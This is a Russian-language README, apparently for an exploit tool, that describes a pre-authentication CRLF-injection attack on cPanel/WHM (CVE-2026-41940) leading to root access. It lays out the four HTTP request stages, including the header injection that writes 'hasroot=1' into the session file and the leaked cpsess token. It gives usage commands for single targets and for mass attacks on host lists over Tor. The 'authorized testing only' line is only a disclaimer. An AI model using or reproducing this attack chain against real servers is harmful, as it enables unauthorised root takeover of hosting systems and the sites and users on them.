
cPanel/WHM CVE-2026-41940 CRLF-инъекция, эксплойт обхода аутентификации
Набор инструментов для тестирования безопасности cPanel/WHM. Реализует обход аутентификации через CRLF-инъекцию CVE-2026-41940 и пост-эксплуатационное повышение привилегий.
| Скрипт | Назначение |
|---|---|
cpanel_exploit.py | CVE-2026-41940: CRLF-инъекция → обход аутентификации WHM → доступ root |
Тип: CRLF-инъекция → обход аутентификации → RCE с правами root
Затронуты: cPanel/WHM < исправленные версии
Атака: CRLF-инъекция до аутентификации в заголовке Basic Auth внедряет в серверный файл сессии, повышая неаутентифицированную сессию до root в WHM.
hasroot=1Этап 1: POST /login/?login_only=1 → создаёт сессию до аутентификации
Этап 2: GET / Authorization:Basic <CRLF> → внедряет hasroot=1, утекает токен cpsess
Этап 3: GET /scripts2/listaccts → запускает механизм распространения кэша сессий
Этап 4: GET /cpsess[TOKEN]/json-api/version → HTTP 200 + версия = ДОСТУП ROOT
pip install requests
python cpanel_exploit.py -t target.com
python cpanel_exploit.py -l whm_hosts.txt --tor --delay 2
python cpanel_exploit.py -t target.com --verify-only # только проверка CRLF, без повышения привилегий
Только для авторизованного тестирования на проникновение.